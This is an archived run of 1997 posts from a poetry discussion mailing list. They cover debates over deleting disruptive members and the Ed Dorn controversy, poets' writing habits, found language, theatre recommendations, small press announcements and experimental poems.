>>be the poem.)
>
>

↑ Index

823. Eliza McGrand- CVA Guest

deletion

Tue 25 Feb 1997

---

a while back, i remember someone pennamed "filch" posted what he claimed was a graffiti exchange he found on bathroom walls. the graffiti was a very disturbing plea from a woman to a man for him to meet her -- foreign names, phones numbers, extremely private if genuine, and, whether genuine or fake, having absolutely nothing to do with any discussion past or ongoing on list and a complete intrusion on people's time. "filch" continued posting bits of uninteresting, pointless texts along with flamebait. his posts, large in number (we only get 50 posts per day... ONLY! are we crazy! but we use them up frequently, so assume some limitations on space to post) began overwhelming mailings. after a number of these numerous posts (his posts always went out in duplicate, making his electronic "loudness" even more distressing), some of which were over 5 "screen" pages in length (i remember one was something like 18), he disappeared from list to my great relief.

shortly after, he confirmed everything i had disliked about the posts and intolerable mail-bombing by sending out a series of spam letters to members on list -- spam is, for uninitiated, electronic "junk" mail which, in sufficient numbers, can and frequently does shut down servors and is strongly rejected by internet community. i think it has even been made illegal. on receipt of spam, usual mode is to write host of spammer, inform them customer/client is spamming, and request offending account be closed down, and, and this is what i mean by STRONG internet disapproval, it usually is.

several list members did this and i (don't know about anyone else) got a somewhat threatening, and certainly unpleasant, note from "filch" regarding my note to his host.

i, too, have some problems with "deletion" of listmembers, but would like to see possibility kept on if only for the particularly noxious problems like filch. the problem with neo-nazi type poster, to my mind, would be waste of electron space, potential for abuse of list members, and possibility that some newbie might get taken by innocuous-seeming post and then sucked into electronic vacuum of energy-sapping correspondence, perhaps even threatened, before they found out enough to extricate.

i suppose what i am saying at too-great length is that i would reserve deletion for only VERY extreme cases. but i would like to see it kept as a possibility. i know i wrote to po-listmaster to ask that filch be taken off -- i believe that was after his four over-20,000 bit postings caught me off gaurd in my mailreading and tied my computer up for about 10 minutes...

> not frothing at the mouth but i was then...
> e

--OAA22669.856897441/life.ai.mit.edu--

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824. **Ian Wilson**
Re[2]: question which will explain things
Tue 25 Feb 1997

---

don cheney wrote:

> *that episode of NIGHT STAND WITH DICK DIETRICK (which is a parody of daytime talk shows)*

My claim to fame has to do with the actor who plays Dick. His name is Tim Stack and, prior to this latest show of his, I was his computer tutor for about 5 years.

IR Wilson

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825. **k.a. hehir**
Re: question which will explain things
Tue 25 Feb 1997

> *At 11:18 AM 2/25/97 MDT, you wrote:*
> *What attitude -- no, what facial expression do you find yourself assuming when you begin to write a poem*

the boy with the faraway eyes. right hand cranking an invisible victrola. long body pretzled. soundtrack (off-camera)"quick, somebody unfold kevin!"

kevin hehir

↑ Index

826. **DS**
Re: killian / pug selves
Tue 25 Feb 1997

Sorry too late i'd have to get a virgin to piss in the bilges

DAn

> *By the way, to the guy who named his newfie Moby (sorry, I lost your name), haven't you heard that Melville's work is now on the proscribed list because he allegedly abused his wife? Better change the dog's name quick.*
>
> *Mike*
> [redacted]

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827. **shoemakers**
Re: dorn deletion
Tue 25 Feb 1997

I dunno, i think it's probably not a joke. And if not, it's very disturbing. No way anyone shld be barred from the list before the fact, i.e. before actually posting material that might be felt by list administrators to violate acceptable standards. And just for the record, i really admire Slinger, so some of the same things i said about Pound, about having to read for both the pleasure and the pain, wld (for me) apply to Dorn too. steve

On Tue, 25 Feb 1997, Maria Damon wrote:

> *i assumed this dorn/list thing was a joke, cuz of the analogy to hitler, which no one, in my memory of the discussion, invoked.*
>
> *At 10:42 AM +0600 2/25/97, KENT JOHNSON wrote:*
> *Date sent: Tue, 25 Feb 1997 09:33:58 -0500*
> *Send reply to: UB Poetics discussion group*
> *<[redacted]>*
> *From: Joel Kuszai <[redacted]>*
> *Subject: Re: dorn, etcetera*
> *To: [redacted]*

> *On Tues, 25 Feb, Joel Kuszai wrote:*
>
> *As far as Mr. Northcutt's comment above: Ed & Jennifer Dorn tried to sign up to Poetics list several times. I deleted them like I would have Hitler, but to no avail, they kept re-subbing. Eventually, I let them pass through, with my finger on the "delete" key, I waited expectantly for some coke-induced froth from his evil lips--did he ever post? A search of the archives would reveal. As far as I know, they remained on this list until recently...*
>
> *Is this a joke? That Ed and Jennifer Dorn tried to subscribe to the list and were repeatedly censored out? If so, I'd suggest this discussion that people are "getting tired of" has acquired a new sense of urgency! Holy cow.*
>
> *Kent*
>
> *Kent>*

Steve Shoemaker

↑ Index

828. **Matthias Regan**
Re: question which will explain things
Tue 25 Feb 1997

At 11:18 AM 2/25/97 MDT, you wrote:
>> What attitude -- no, what facial expression do you find yourself assuming
>> when you begin to write a poem?

languid. relaxed. eyes half closed. gentle breathing, soft sigh thru the nose. This is because try as I might to shake it loose some unremembered teenage inner voice of angst got confused and now my muse speaks in the sonorous & somnolent, breathy tones of garrison keillor

I do my best to write despite (to spite) that inner voice

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829. **David Kellogg**
Re: dorn deletion
Tue 25 Feb 1997

At 12:26 PM 2/25/97 -0600, Maria Damon wrote:
>i assumed this dorn/list thing was a joke, cuz of the analogy to hitler,
>which no one, in my memory of the discussion, invoked.

Is Hitler on the POETICS list?
~~~
~~~

joe

↑ Index

831. **Dave Zauhar**
Re: question which will explain things
Tue 25 Feb 1997

> *At 11:18 AM 2/25/97 MDT, you wrote:*
> *What attitude -- no, what facial expression do you find yourself assuming when you begin to write a poem*

Seriously? Well, my wife says I look like Marty Feldman if he were playing a wacky gynecologist in a John Waters movie. I'm not sure what she means by that, nor do I want to know.

David Zauhar

↑ Index

832. **shoemakers**
Re: deletion
Tue 25 Feb 1997

Ok, glad the post from Joel was a joke (tho one might be forgiven, perhaps, for succumbing to the uncertainties--of tone, stance, motive etc-- inherent in this medium, and thus not being quite sure...).

i too
have found the whole "punch in the mouth" approach to ethics pretty tiresome...

Steve Shoemaker

↑ Index

833. **Sylvester Pollet**
Re: Spell check
Tue 25 Feb 1997

Sherry, you might take a look at some of David Gordon's work to see how a conscientious collagist works with the citation problem. The National Poetry Foundation is publishing his (ongoing) ten volume work, & you can see descriptions of it on the NPF website http://www.ume.maine.edu/~npf/ I also published a piece of the forthcoming fourth volume (or now perhaps 2-volume sequence) STEM as #8 in my Backwoods Broadsides Chaplet Series. If you send me your address, I'll send you that--it's essentially 5 pages of poetry, and one of notes

documenting sources, but the poetic text is free of numbers or symbols. Simple, elegant, ethical, legal! p.s. Which Darwin texts are you working with?

> *Thanks, Dean Taciuch, for the poem and the line - "and the time spent will be the poem." I have a question for whoever about using citation/found language. Probably because of my academic background I have a fear about using other people's language without spelling out what is quoted--even when I recombine the words rather than quote per se. So in the past I've usually specified when language was quoted. But I'm working on a long piece that incorporates language from Darwin and various gardening texts and find myself wanting to use the language without also specifying which words come from where. I'm not sure I understand why I want to do this, or what it means to the poem.*
>
> *Is there a difference between using quotation marks or some other indicator of source and not indicating the source specifically but treating the words as found language? How does this work? I don't mean technically how it works, but what kind of difference does it make to the poem or the reader? the writer?*
>
> *Just something I've been wondering about. Sherry*
>
> *The call for spell-check and user dictionary files reminded me of a piece I was working on a few months ago (still not finished)-- a long poem called "rote" which is built from a 1930s speller. The speller itself simply lists words, from grade 2 through 8, but there is a sound patterning to them, based on similar spellings and words that might be confused by grade schoolers. I placed the words into lines and stanzas adding nothing but punctuation. I go back to it every once in a while, mostly to take out the punctuation I put in--not having worked with found material very often, I tended not to trust what I found. (Probably by next year I'll have worked it back to the original--just lists, that'll be it, and the time spent will be the poem.)*

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834. **Joel Kuszai**

Re: question which will explain things

Tue 25 Feb 1997

Sorry for my sarcasm,\ but I find myself sick of reading of people who are willing to punch other people in the nose. I have to add and delete people to the list and only one time did I ever delete anyone against their will, and that was after great distress and consultation with Charles and Loss.

The Dorns wrote and asked if they could sub and I subbed them.

I am not sure, and this is my whole point (if you need to be let in on it) when it was that they unsubbed. It is a tedium-exhaustium cleaning up around the

poettics store, mopping up after this often brilliant exchage goign on here--I don't often keep track of when people leave. But a check yesterday showed there were no longer on the list...

A question: if you are going to say these things, does it change them if that person is listening? I wish I could say he wasn't...

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835. **Joel Kuszai**
Re: deletion
Tue 25 Feb 1997

Filch was the only one I ever deleted although I am sure he eventually tried and did resub under a different name address. He wrote threatening stuff to me for a while but figured he gave up (he didn't seem to be interested in poetics, which is a criteria for list membership, btw)

On Tue, 25 Feb 1997, Eliza McGrand- CVA Guest wrote:

> *a while back, i remember someone pennamed "filch" posted what he claimed was a graffiti exchange he found on bathroom walls. the graffiti was a very disturbing plea from a woman to a man for him to meet her -- foreign names, phones numbers, extremely private if genuine, and, whether genuine or fake, having absolutely nothing to do with any discussion past or ongoing on list and a complete intrusion on people's time. "filch" continued posting bits of uninteresting, pointless texts along with flamebait. his posts, large in number (we only get 50 posts per day... ONLY! are we crazy! but we use them up frequently, so assume some limitations on space to post) began overwhelming mailings. after a number of these numerous posts (his posts always went out in duplicate, making his electronic "loudness" even more distressing), some of which were over 5 "screen" pages in length (i remember one was something like 18), he disappeared from list to my great relief.*
>
> *shortly after, he confirmed everything i had disliked about the posts and intolerable mail-bombing by sending out a series of spam letters to members on list -- spam is, for uninitiated, electronic "junk" mail which, in sufficient numbers, can and frequently does shut down servors and is strongly rejected by internet community. i think it has even been made illegal. on receipt of spam, usual mode is to write host of spammer, inform them customer/client is spamming, and request offending account be closed down, and, and this is what i mean by STRONG internet disapproval, it usually is.*
>
> *several list members did this and i (don't know about anyone else) got a somewhat threatening, and certainly unpleasant, note from "filch" regarding my note to his host.*

> *i, too, have some problems with "deletion" of listmembers, but would like to see possibility kept on if only for the particularly noxious problems like filch. the problem with neo-nazi type poster, to my mind, would be waste of electron space, potential for abuse of list members, and possibility that some newbie might get taken by innocuous-seeming post and then sucked into electronic vacuum of energy-sapping correspondence, perhaps even threatened, before they found out enough to extricate.*
>
> *i suppose what i am saying at too-great length is that i would reserve deletion for only VERY extreme cases. but i would like to see it kept as a possibility. i know i wrote to po-listmaster to ask that filch be taken off -- i believe that was after his four over-20,000 bit postings caught me off gaurd in my mailreading and tied my computer up for about 10 minutes...*
>
> > *not frothing at the mouth but i was then...*
> > *e*
>
> *--OAA22669.856897441/life.ai.mit.edu--*

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836. **Pritchett,Pat**

Re: question which will explain things

Tue 25 Feb 1997

Michael Jordan - full extension - tongue lolling out.
"Ohmigod it's off the rim!"

From: Dave Zauhar
To: POETICS
Subject: Re: question which will explain things
Date: Tuesday, February 25, 1997 4:46PM

> *At 11:18 AM 2/25/97 MDT, you wrote:*
> *What attitude -- no, what facial expression do you find yourself assuming when you begin to write a poem*

Seriously? Well, my wife says I look like Marty Feldman if he were playing a wacky gynecologist in a John Waters movie. I'm not sure what she means by that, nor do I want to know.

David Zauhar

↑ Index

837. Schuchat Simon
Re: question which will explain things
Tue 25 Feb 1997

No face.

↑ Index

838. Douglas
Re: Mac Wellman play
Tue 25 Feb 1997

Marjorie Perloff wrote:
>
> Have just had the good fortune to see Mac Wellman's new play at the Ivy
> Substation in LA and want to urge those of you in the LA area to go! It's
> called "The lesser Magoo" and has music by Michael Roth from San
> Diego--really brilliant. Anyway, Mac's play takes off on just about
> everything in our society from political rhetoric to New Age to the
> standard interview (which made me think of the MLA interviews for job
> candidates)--and the language is extraordinary--with its "unusualists".
> It's only one one more week (through Sat night March 1) and I hope some
> readers of this list will get to see it--great acting too.
>
> Marjorie Perloff

I can certainly second Marjorie's comments. The play
was just spectacular--in true sense. A musical that is
at the same time a remarkably serious satire and slightly
crazed family saga.

Douglas Messerli

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839. Douglas
Re: playwrights
Tue 25 Feb 1997

I might just mention that Sun & Moon is about
to publish John Jesurun's EVERYTHING THAT RISES
MUST CONVERGE. Sun & Moon is also the publisher
of four of Mac Wellman's plays, a book of his poetry,
and two of his novels.

I'll soon post a listing and poetics discount for
these books.

And----I might add that we are soon to publish
Fiona Templeton's play DELIRIUM OF INTERPRETATIONS.

Douglas Messerli

F.A. Templeton wrote:
>
> Not to downplay Mac's talent (Mac Wellman), which I applaud, but I have
> another candidate here: John Jesurun. John is not as published as Mac,
> but a) his Chang in a Void Moon is a landmark in theatre. It was a
> serial, (much imitated since as a form) every Monday night, 2 showings, at
> the Pyramid Club in the early 80s. (Speaking of prolific) John would go
> home after the show, write the next episode, cast and rehearse it by the
> next week. The main character was played by a man and a woman, one
> character (the Infanta) was played by a chair, and the action took
> place in several centuries simultaneously. His staging (he directed
> too) was absolutely seminal. Actors included John Kelly, Steve
> Buscemi, Anna Kohler etc etc. The plot proliferated to the point where
> John's intro before the show of the story so far was a verbal tour de
> force which should have been saved for literary history. Chang has been
> revived in continuation a couple of times, including upcoming this March
> or April at The Kitchen, for episodes 50-something to 60-something.
>
> and b) check out his Philoktetes, in Yale Theatre mag a couple of years
> ago, for some of the best American language onstage ever, in a work of
> dizzying savagery. It was written for Ron Vawter before he died.
>
> And lots more in between. John's EVERYTHING THAT RISES MUST
CONVERGE
> should at last be coming out from Sun & Moon soon (eh, Douglas?) but
> there's also a huge body of produced work.
>
> GO SEE IT! That's what playwrights write for.
>
> And let's not forget Richard Foreman.
>
> On Sat, 22 Feb 1997, Mark Weiss wrote:
>
> > I don't think Mac ever published a mag; if he did, it was before he came to
> > New York in the 70's. He did edit a collection of theater criticism and I
> > think two collections of contemporary plays. And of course he has pub-
lished
> > several books of poems and novels, mostly with Sun&Moon. I wrote the

intro
> > to his first major poetry collection, which was published by New Rivers.
> > Mac has one a bunch of Obies. He may be the most prolific playwright since
> > Lope da Vega, and he's probably the best we've got. At his best he's great.
> > And I use the term advisedly.
> >

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840. **Jordan Davis**
Steal home
Tue 25 Feb 1997

I suppose David Jones' locka is the one to break into here .. anathemata being a hill of footnotes, yes? I understand poets at the wrtrs wrkshp in w have to cite any sources of found text in poems they workshop -- speaking as someone who has been shakespeare-shy because of the folger experience of interrupted reading -- sorry! textual people -- I am grateful that Pound Olson and Berrigan didn't find it necessary to append notes, preferring to include their sources when they were _poetically_ interesting as well .. steal home .. J

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841. **Douglas**
Re: Mac Wellman play
Tue 25 Feb 1997

Dear Alaric Sumner:

Mac is not on this list, but I'll be
glad to forward the comments to him.
Incidentally, this new play, THE LESSER
MAGOO, is the fourth play in what is now
called the CROWTET. The first two plays
of the CROWTET were A MURDER OF CROWS
and THE HYACINTH MACAW (winner of The
America Award for the best drama of 1994),
published together by Sun & Moon Press as
TWO PLAYS. We're reissuing this volume
along with CROWTET 2 (consisting of
SECOND-HAND SMOKE and THE LESSER MAGOO) this
next season.

Douglas Messerli

Alaric Sumner wrote:
>
> I would be interested in a more detailed "enthusiasm" from Marjorie Perloff
> (or (forefend) the opposite) from other people who have seen Mac Wellman's
> play since I will not be able to see it (unless it tours to UK). Either
> list if you think others will be interested, or if preferred, email me
> direct with comments. Is Mac on this list? Is he emailable? Have the poems
> of his I published in "words worth 2:1" been published in book form?

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842. **Mark Weiss**
Re: question which will explain things
Tue 25 Feb 1997

Maybe it would be a good idea if we all pretended that whoever we're going after is in fact listening. This wouldn't preclude criticism, but it might temper it so that it fell short of character assassination.
Except in life and death situations manners do count (and sometimes even then).
>
>A question: if you are going to say these things, does it change them if
>that person is listening? I wish I could say he wasn't...
>
>

↑ Index

843. **Ron Silliman**
Bookfair fire (Calcutta)
Tue 25 Feb 1997

I take the liberty of reproducing the following letter, which appeared in the Times (London) a few days ago. Apologies for anyone who receives it twice (cross-posting).

Jane Stemp
Oxford University Early Printed Books Project

+++++++++

Bookfair fire

> *From Mr Matthew Evans*

Sir, At 3.25 pm on February 3 the Calcutta Bookfair burnt down (News in brief, February 4). Behind this bald statement lies the fact that in just over 40 minutes fire, aided by a strong wind, burnt down more than 600 publishers' stands,

killing one person and injuring 44. The 22-strong delegation of British publishers, led by me, were well insured and their livelihoods were not threatened by what had happened. However, of the 600 or so stands destroyed about 400 were manned by small publishers, publishing in Bengali, whose stands were not insured. In many cases money had been borrowed to exhibit at the fair. Book-purchasing in Calcutta is quite different from elsewhere. There are very few bookshops in the city and the fair is the focal point of the year for these small publishers, where they do about 50 per cent of their annual business. Many of not most of them have been ruined by the fire and imaginative ways must be devised to get them back on their feet. In consultation with the British Council in Calcutta those British publishers who attended the fair have started a fund to help the smaller Indian publishers. We hope that enough money will be raised to alleviate in some small way the horrific burden on firms which lost everything.

Yours sincerely.
Matthew Evans,
c/o Publishers Association
19 Bedford Square, [London] WC1

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844. **amato**
Re: question which will explain things
Tue 25 Feb 1997

---

joel, thanx for the clarification... happy to hear you were joking...

best,

joe, who obviously will get fooled again

↑ Index

845. **Joel Kuszai**
brief explano
Tue 25 Feb 1997

I'm sorry if my stress about the projects which are coming "to a head" (and where did that expression come from?) caused me to bristle at some of the recent discourse on the list. It is an important place for me and I'm an ardent defender of the poetics-list here (in buffalo, not internet) even when my friends dismiss it for lack of time, the ennui it often causes (or presupposes), or for the petit simulacrum of a conversation that many of us are lucky to have in the college-type-environment. My stress is related to the fact that I am presently extended about as far as is humanly possible and am about to hand in 1) chapter

of diss. on Mac Low, Goodman, and "anarcho-formalists" and their theories of education, among other things. It's actually a couple of chapters but it's "what I want to do" now, and the first chapter deadline is a bureaucratic requirement which will enable me to stay here an "indentured servant" at Buffalo for one more year. 2) another project: a book manuscript, for which the publisher has been wanting for some time, edited by me (of all people). 3) Meow Press. If you have sent something to me in the last year, please be patient. I am more than a year behind and was ready to give up the project (I'll post something to poetics that I sent out here locally, a "eulogy" for Meow Press which I wrote last December). Since meeting with D.J. Messerli of SUN & MOON, and seeing what he's up to while out in Cali in January (working in UCSD archives) I have decided NOT to give up Meow Press, which I thought I would let die once I finished out the 12+ books which are on the hotplate. Thanks Douglass. But it will be summer before I pick up the ball and run with it again. The afternoon with him reinvigorated my desire to get good literature out there and to keep at it even though I have this giant grey-streak of hair a la pepe lepew...So, if you have sent something, please be patient. The press is currently dormant. I'll be moving at the end of April and will instigate a new workshop at new address (in Buffalo). Sorry for the delays. Finally, a final project haunts me, my commitment to the Small Press Collective which was born in 1990 at Reed College and which is about to be ressurected here under the auspices of Alicia Cohen (who worked on the original with me and others back then) and others yet to be determined. This is a big project which will have a minimal investment from me, but it seems that without my push and insanity might not really get going (if no one is finally interested, it wont). We are operating under the signs of David Cohn-Bendit and Angela Davis, let alone Bayard Rustin and MAC LOW--my eternal hero. More on all this later...

I will post something that I'm posting here locally, where most of the buffalonian poetic-tasters do their own chat...in the hopes of catching someone who might be astray, gaining emotional, financial or support in the form of labor and energy...I'm sorry if it seems too local.

Again, I apologize if my attempt at humor went astray. Please forgive. Your humble janitor, JK

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846. **Joel Kuszai**
SMALL PRESS COLLECTIVE
Tue 25 Feb 1997

---

return of the
SMALL PRESS COLLECTIVE

The first meeting of the newly reconstituted SMALL PRESS COLLECTIVE will be on Thursday, February 27, 1997, at 5pm at Spot Cafe, on the corner of Chippewa and Delaware in the heart of downtown Buffalo, New York.

The purpose of this meeting is organizational, to announce the intentions of the group, which are still in formation.

Recent events have made it necessary that we meet and discuss our plans as a "group" or "program." At our last hearing, the status of the future possibility of renting a shared space was left undecided. The two main proposals for the use of such space are basically as follows: 1) a so-called clubhouse, multi-purpose shared facility; and 2) a shared workshop or production space. These two positions are not necessarily opposed so much as they are both wrongly aimed and based on misconceptions of certain key questions concerning issues of community. Unlimited access to a shared space is highly unlikely. Therefore, there can be no "open" space such as Room 412 in Clemens Hall. But limited access to a space supposedly shared by all [in whatever group is defined at the beginning] is bound to be a difficult issue, not only socially, but also in terms of security and liability. It is an issue not easily resolved without either (1) constructing a hierarchy; and/or (2) some form of limited access. Assuming that there would be public events held at the space (perhaps a party or a reading) perhaps a pre-constructed limit is the best way of resolving Responsibility in its many forms. A smaller group will handle the distribution of responsibility/burden and problem of authority with greater ease than a large group, especially when often the only thing shared by the members of the group is grad-student status [we're seeking non-graduate student members and soon none of us will be graduate students and will have to face up to our various professionalisms in the face of real desires]. Besides, a smaller, independent student club is more likely to have success obtaining a lease than is a nebulous amalgam of disinterested bystanders whose tacit consent is buoyed only by a rigorous but impotent argumentativeness. The Poetics Program isn't anything to us, we don't avow even disavowal of its ways.

We propose that several of us students and interested partisans of all sorts and types meet together to form an action committee. The committee's basic activities would be to serve as an association of self-starters and communalist co-conspirators in producing written and encoded documents of all kinds, in all media, forms and venues. We'll invite our fellow compatriots among department Faculty and those from the so-called "real world." With the option to buy a letter press and an offset press for $500 and with the immediate necessity that we make up our collective minds about seeking space in the coming ArtSPACE @ Tri-Main complex, the time to act is now.

We propose a publishing collective as essentially collaborative, with the benefit of being fully optional. Who of us is willing to work? A general informational-organizational meeting will be called soon. All interested are welcome! Needed positions/skills include: writers, editors, printers, critics, poets, artists, designers-- what else?--contact us at Small Press Collective, 438 Clemens Hall, SUNY-Buffalo, Buffalo, NY 14260 [we will eventually secure an address "off-campus"]. Or inquire at the following e- mail addresses (do not post replies to Poetics or Core-L lists, PLEASE! This will be the last public posting on this matter)

for more info:

[redacted]

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847. **Brigham Taylor**
Manhattan Share/Apt. available
Tue 25 Feb 1997

I wouldn't normally post this on the list, but I'm exploring every option. I need someone to share a (really) large 2 bedroom apartment on the Lower East Side (Ridge Street, 2 blocks south of Houston) by March 15 or April 1. It's $1200 a month ($600 each), and you have the option of taking over the whole apartment on the first of July. It's a great space at a good price. If you or anyone you know might be interested, backchannel me,

Thanks
Brigham Taylor
[redacted]

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848. **Maria Damon (Maria Damon)**
Re: Sad News
Tue 25 Feb 1997

thanks for sad indeed news; 51 is young. i feel lucky to have seen williams here at the dakota bar and grill a few years ago, where he thanked folks for coming to the show because "not a lot of people understand this kind of music; it's loud, it's aggressive, and some people are afraid of it." those few words made a deep impression, as did the thrillingly loud, aggressive music.

At 10:49 AM 2/26/97, Aldon L. Nielsen wrote:
>I just learned that Tony Williams died of a heart attack in Daly City at
>age 51.

>
>A Tony Williams memorial fund has been set up -- address is:
>
>Tony Williams Memorial Fund
>P.O. Box 1429
>Pacifica, CA 94044
>
>contributions sent here will be controlled by the family --
>
>funeral details not yet announced --
>
>Listening again to "In A Silent Way" --

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849. **Marjorie Perloff**
Re: Ed Dorn discussion
Wed 26 Feb 1997

I doubt any of us would know who Ed Dorn is were it not for his poetry. Yet thus far I have not read one word in this discussion of Dorn's purported culpability that has anything to say about the poetry. And since when are poets necessarily nice people? With the "right" ideas? I agree with Maxine Chernoff! Let's stop being the Thought Police! What would most of the people on this list say if Baudelaire suddenly turned up, what with his fetishism, his arrogance, etc. etc.? And what about DH Lawrence with his strong man cults? And, let's see, then there's Virginia Woolf, whose letters to Vanessa are full of the nastiest, anti-Semitic remarks you can imagine! And spiteful comments about charladies and so on.

So: who shall 'scape whipping?
Marjorie Perloff

↑ Index

850. **Thomas Bell**
Re: question which will explain things
Wed 26 Feb 1997

Intriguing question. You might want to take a look at Mark Turner's new _Literary Mind_, Polanyi's _Tacit Knowledge_, and some recent research showing that facial expressions "cause" emotions. tom bell

At 11:38 AM 2/25/97 -0500, Jordan Davis wrote:
>What attitude -- no, what facial expression do you find yourself assuming
>when you begin to write a poem? when you are in the middle of writing a

>poem? when you are editing a poem?
>
>Just curious,
>
>Jordan
>
>

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851. Alan Jen Sondheim
JAC: Jennifer, Attis, Catullus
Wed 26 Feb 1997

24

Attis for Cybele

Which I began to inscribe, from Catullus, memory, having launched Himself down on the Phrygian Grove across the wine-dark sea, there To incise himself, flint-cut the lower edges of the sac, scrotum, His testicles flayed to the ground, blood circulating as she would Have appealed to gender-morphology, but this, irreversible, could No longer sustain the space she found herself in, this Jennifer Produced from the holy mysteries of the Magna Mater. She pranced, Declaimed loudly, Cybele screaming in the background, always a threat Holding onto her virgins, but these balls spattered on the holy earth Were something else again, while Jennifer sits, inscribes another Surface, servers crashing around her like waves on wine-dark waters. Again, again, she begins her description of Attis for Cybele, Attis Having likewise launched, a router on the Internet, turned towards her Or others, Aegean, Dea magna, dea Cybebe, dea domina Dindymi, procul a mea tuus sit furor omnis, era, domo: alios age incitatos, alios age rabidos, get out of here, furious, Make them crazy, rabid, swallow balls like seeds furrowed, the Net Splits, opens wide, Alan's driven mad, Jennifer writes in repetition, All these skinned wounds, all these Fisher Kings.

↑ Index

852. Alan Jen Sondheim
JAC: last, what was lost
Wed 26 Feb 1997

+++++++++++++++++++++++++++++stone, granite

burned_program:archaos:rabidos:grave:cain:14187:7:Jennifer,lost:grave:ra-
bidos+
dust:catacomb:skull_script:tomb:betach:14222:2:lost_Jennifer:tomb:skull_script
lost:here:stone:bone:shtut:14232:0:Jen-gone:bone:lost+++++++++++++++
++++++++++
wraithe:wrythe:wryte:ghost:be'emet:14248:3:gone,Jen:ghost:wraithe++++++
+++++++

++++++++++++++++++++++++++++stone, marble

↑ Index

853. **DS**
Re: question which will explain things
Wed 26 Feb 1997

At 04:28 PM 2/25/97 -0800, you wrote:
>Maybe it would be a good idea if we all pretended that whoever we're going
>after is in fact listening. This wouldn't preclude criticism, but it might
>temper it so that it fell short of character assassination.
>Except in life and death situations manners do count (and sometimes even then).

WHAT? EVEN POUND?

↑ Index

854. **Ron Silliman**
Politics of The List
Wed 26 Feb 1997

I will by-pass the temptation to send a message that includes all 65 messages that were in this morning's Poetics Digest (many of which include many additional messages). My eyes blear over.

However. The prospect of anyone even attempting to prevent the Dorns from participating on this list is disturbing in the extreme and sort of turns a lot of the questions of the past week on their head, doesn't it?

But exclusion, of this or any other sort, does seem to be the logical conclusion of the List's sense of itself as "private." And while obviously the intention behind that initial impulse was/is good (as in protecting the list from becoming simply a listserve variant of those poetry usenet groups), the short & slippery slope from there to here is always shorter and more slippery than we would imagine.

Maybe it's time to end the List's sense of itself of as "private."

Ron Silliman

PS,

My apologies to the heirs et al of RP Warren for confusing him with JC Ransome in an earlier note (thanks to Jerry & Aldon for catching this). I've tried to figure out how I made that mistake (beyond writing when I had a bad cold). Three alternatives come to mind: (1) all those agrarians look alike; (2) since I take Warren more seriously than I do Ransome, my memory made the "crime" of it seem worse by attaching it to the "serious" figure; or (3) having actually appeared in Southern Review myself in my callow youth, I wanted to dissociate my own publication history from such dishonorable events. I think the "real" answer is #1 above.

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855. **Miekal And**
poetics, the ling of it
Wed 26 Feb 1997

---

nico vassilakis wrote:
>
> this Dorn thread's
> a noose

there's lotsa bandwidth for as many threads & nooses we wanna untie

> *what's the relationship between L/A/N/G/U/A/G/E writing and e-(writing)mail?*

writing

> *are the westerns, who's in attendance lists, clothing, job conferences, and previous items it?*

bring to it each ours

> *the chatting is voyueristic in such a weird way. i just don't get it (e-mail psych.)*

born & bred voyeur, overcoming is the mediation (community built)

> *would changing the structure be of interest to anyone?*
> *something similar to A.BACUS, or magazines that present 15-20 pages of individual writing (open format).*

listvision, need that listvision, want that listvision

> *tid bits could be backchanneled provided by a complete daily list of poetics list subscribers, and like that. these exchanges could be presented.*

to some degree this is happening already, cowriting where it can be heard, beats those memories of cutting out typography from oldmags & pasting them letter by letter to make a book which we made ten copies which we put in 10 envelopes & sent to 10 people.

> *or maybe a second, a poetics list 2 to manage the 'other' talk and essential publishing info pertinent to the group. poetics list 2 discussing poetics list 1.*

I think hypertexting our posts is much to be desired spidery way, because everyone can easily establish submailing lists & mail selected audiences.

> *somebody, a year ago, spoke about the tension involved in communicating e-mail. even coming out of lurk is a difficulty.*

man, I long to hear more of what you have to say, its why I put time in here.

> *extracurricular polite?*
> *night, in yr hand*
> *smoke-stuffed box*

they deliver those words on platters, they do, serve em right up...

> *or room enough*
> *to fall thru scaffolding*
>
> *(is that electronically*
> *feasable?)*

my own approach to using the computer, internet, email, webpages, is to think of it as completely synchronous with my activities of publishing xexoxial, Im motivated in a way to approach from a standpoint of electronic wildernesse, & aggressively carving niches in the endless edges & crannies of the net, as well as planting some of my own. my approach is anything but passive, but partly too its been incubating since 84-85 when I made my first hypermedia & understood then that everything we have now is possible. I just didnt think it would take this many years to get here. I think there are many workarounds for the given limitations one feels. while I have enough of dealing with issues of gender & politics here at Dreamtime to be interested in participating in these threads, I like the opened medium, I just wish somedays there were 3-10,000 other threads to choose from. more is more.

miekal

who is hopefully taking a vacation to nc & tn for the first time in 3 years, back in 2 weeks

--
@#
Dreamtime Village website: http://net22.com/dreamtime

QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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856. Mark Wallace
Townes Van Zandt
Wed 26 Feb 1997

Does anyone on this list have specific information about the death, apparently around January 1 of this year, of the Texas singer-songwriter folk-country musician Townes Van Zandt? A long heroin problem I know, etc etc, but also some of the best southern songs of the last 20 odd years. My own sense is that MY MOTHER, THE MOUNTAIN is the best (and an amazing collection it is) of his sometimes hit-and-miss studio albums, but he was also a great live musician too--perhaps his best moment is the song "Early In The Morning" from a late 80s album called LIVE AND OBSCURE--a truly terrifying incursion into incest, violence and drunkenness. I'd appreciate either backchannel, or perhaps better, any information on the list itself.

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

857. Joel Kuszai
QUARTET #1
Wed 26 Feb 1997

Now available:

QUARTET #1

Featuring:

Wanda Coleman
Alexis DeVeaux
Eric Gansworth
Ted Pearson

Send a check for $6 ($5 + $1 for postage) to:

just buffalo literary center
2495 Main Street
Buffalo, NY 14214

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858. **Mark Wallace**

how people behave

Wed 26 Feb 1997

---

how people behave is relevant to their poetry their poetry is relevant they behave is relevant to how they behave they behave is relevant to how their poetry behaves

The issue, for instance, of how poets respond both in their work and in their lives to constructions of male behavior in a male dominated society is relevant to how they behave is relevant to their poetry to how they behave is not a matter for simple condemnation is relevant to how they behave is relevant to the poetry

When the poet and visual artist John Havelda was here in D.C. two weekends ago we were all at a bar (is relevant to how they behave) having a drink and a fight broke out well not a fight really just this big guy started shouting at a much smaller guy and then hit him and then was surrounded by people saying "oh you're a big man such a big man for hitting him" and the big guy was humiliated and left or else you could have said his behavior is not relevant to poetry

we could have been in a bar in which it was okay for someone to hit someone is that relevant to poetry

